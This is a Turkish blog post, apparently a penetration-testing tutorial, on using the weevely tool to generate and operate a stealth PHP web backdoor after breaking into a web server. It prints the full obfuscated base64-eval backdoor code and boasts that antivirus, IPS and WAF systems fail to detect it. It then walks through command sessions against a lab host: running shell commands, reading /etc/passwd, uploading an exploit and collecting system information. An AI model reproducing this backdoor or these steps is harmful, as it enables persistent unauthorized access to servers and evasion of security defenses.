Uzak web sunuculara güvenlik açığından faydalanarak sızıldığında erişimin devam ettirilmesi için web tabanlı bir ajana ihtiyaç duyulur. Farklı dillerde (php, asp, java, .net, cgi vb.) yazılmış çeşitli yazılımlar mevcut. En popüler ve bilinen yazılımlar arasında, c99, r57, Aspxspy vb. scriptler bulunuyor. Hemen hemen hepsinin sorun yaşatan ortak yanı, Antivirus ve IPS ler tarafından tanınması ve çeşitli güvenlik ilkelerini (php disable_function gibi) bypass edememesi.
Daha önce buradaki yazımızda, meterpreter ile farklı web platformları için payload oluşturmakdan ve antivirusler tarafından tananınmamasını sağlamak üzere encoding tekniklerinden bahsetmiştik.
http://blog.bga.com.tr/beyaz-sapkali-hackerceh/asp-encode-ile-reverse-shell-msfencode
http://blog.bga.com.tr/beyaz-sapkali-hackerceh/php-reverse-shell-meterpreter
Bu yazıda, pratik olarak weevely php backdoor ile benzeri uygulamalar yer almaktadır.
weevely telnet benzeri bağlantı türünü destekleyen ve göze çarpmayan bir php backdoor ugulamasıdır. Web saldırılarında, erişimi sürdürmek ve sistemde ilerlemek için çeşitli post explotion tekniklerini içerir. Antivirusler tarafından tanınmamaktadır. Veri transferini HTTP Refferer değerleri üzerinden şifreli ilettiği için NIDS, IPS, WAF benzeri sistemler tanıyamamaktadır.
Desteklediği Moduller;
- :shell.sh Sistem komutlarını sh kabuğunda çalıştırır.
- :shell.php PHP komutlarını uzak sistemde çalıştırır.
- :file.upload Hedefin dosya sistemine dosya upload eder.
- :file.download Hedefin dosya sisteminden dosya download eder.
- :find.* Dosya adı, yetkiler, suid/sgid bayrakları bulur.
- :backdoor.reverse_tcp Reverse TCP shell açar.
- :enum.users Hedef sistemdeki kullanıcıları veya /etc/passwd içeriğini getirir.
- :enum.user_files home ve public_html dizinlerindeki dosyaları listeler
- :system.info Hedef Hedef sistem hakkında bilgi toplar
Kurulumu
http://code.google.com/p/weevely/ adresinden indirebilisiniz.# tar zxvf weevely-0.4.tar.gzGenel kullanımı hakkında bilgi almak için
# cd weevely
# python weevely.pyÖrnek bir php backdoor oluşturması
Weevely 0.4 – Generate and manage stealth PHP backdoors
Emilio Pinna, Simone Margaritelli 2011-2012
Start telnet-like session
weevely
Run single command or module
weevely
weevely : ..
Generate PHP backdoor script
weevely generate
Show help with command :help and run modules with :. Available modules:
[shell] :shell.sh, :shell.php
[enum] :enum.user_files, :enum.binaries, :enum.paths, :enum.users
[system] :system.info
[backdoor] :backdoor.reverse_tcp
[file] :file.upload, :file.check, :file.download, :file.read
[find] :find.webdir, :find.suidsgid, :find.name, :find.perms
# python weevely.py generate P@ssw0rd ajan.phpOluşturulan dosyanın içeriği size özeldir ve benzersizdir.
Weevely 0.4 – Generate and manage stealth PHP backdoors
Emilio Pinna, Simone Margaritelli 2011-2012
+ Backdoor file ‘ajan.php’ created with password ‘P@ssw0rd’.
# more ajan.phpwww.virustotal.com tarama sonucu;
<?php eval(base64_decode(‘aW5pX3NldCgnZXJyb3JfbG9nJywgJy9kZXYvbnVsbCcpO3BhcnNlX3N0cigkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10sJGEpO2lmKHJlc2V0KCRhKT09J1BAJyAmJiBjb3VudCgkYSk9P
TkpIHtlY2hvICc8c3N3MHJkPic7ZXZhbChiYXNlNjRfZGVjb2RlKHN0cl9yZXBsYWNlKCIgIiwgIisiLCBqb2luKGFycmF5X3NsaWNlKCRhLGNvdW50KCRhKS0zKSkpKSk7ZWNobyAnPC9zc3cwcmQ+Jzt9′)); ?>
42 antivirus’den hiç biri tanımıyor.
Dosya hedef web sunucuya yüklendikden sonra, komut satırından iletişim kurulabilir.
Örnek Uygulamalar
Uzak sunucuda, bulunduğun dizindeki dosyaları listele
# python weevely.py http://6.6.6.64/ajan.php P@ssw0rd :shell.sh dirTelnet benzeri bağlantı kurarak, komut satırından çalışma hızlı çalışma yapılabilir
Weevely 0.4 – Generate and manage stealth PHP backdoors
Emilio Pinna, Simone Margaritelli 2011-2012
[shell.sh] Shell interpreter loaded using method ‘system’
[shell.sh] Loaded system shell
COPYING fakeap.tar.gz nmap.sh
acunetix.exe fakeap3.tar.gz nmap.txt
# python weevely.py http://6.6.6.64/ajan.php P@ssw0rdHedefe casus yazılım, exploit vb. dosya upload etmek
Weevely 0.4 – Generate and manage stealth PHP backdoors
Emilio Pinna, Simone Margaritelli 2011-2012
[+] Starting terminal. Shell probe may take a while…
[shell.sh] Shell interpreter loaded using method ‘system’
[shell.sh] Loaded system shell
[shell.sh] Show help with :help command
[shell.sh] Run modules with : …
www-data@localhost:/var/www$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
…
…
# python weevely.py http://6.6.6.64/ajan.php P@ssw0rd :file.upload /tmp/exploit /tmp/exploitSistem hakkında bilgi toplamak
Weevely 0.4 – Generate and manage stealth PHP backdoors
Emilio Pinna, Simone Margaritelli 2011-2012
[shell.sh] Shell interpreter loaded using method ‘system’
[shell.sh] Loaded system shell
[!] [file.upload] File ‘/tmp/exploit’ uploaded.
# python weevely.py http://6.6.6.64/ajan.php P@ssw0rd :system.info autoWeevely ile iletişim izlendiğinde, ajan’a komutların HTTP Refferer istekleri ile taşındığını görebilirsiniz. Bu çalışma mantığı ile NIDS vb. sistemler tarafından tanınmamaktadır.
Weevely 0.4 – Generate and manage stealth PHP backdoors
Emilio Pinna, Simone Margaritelli 2011-2012
[shell.sh] Shell interpreter loaded using method ‘system’
[shell.sh] Loaded system shell
client_ip: 6.6.6.112
hostname: lab.cehturkiye.com
script: /ajan.php
basedir: /var/www
uname: Linux localhost 2.6.38-11-generic #50-Ubuntu SMP Mon Sep 12 21:17:25 UTC 2011 x86_64 x86_64 x86_64 GNU/Linux
safe_mode: 0
os: Linux
whoami: www-data
document_root: /var/www
Hiç yorum yok:
Yorum Gönder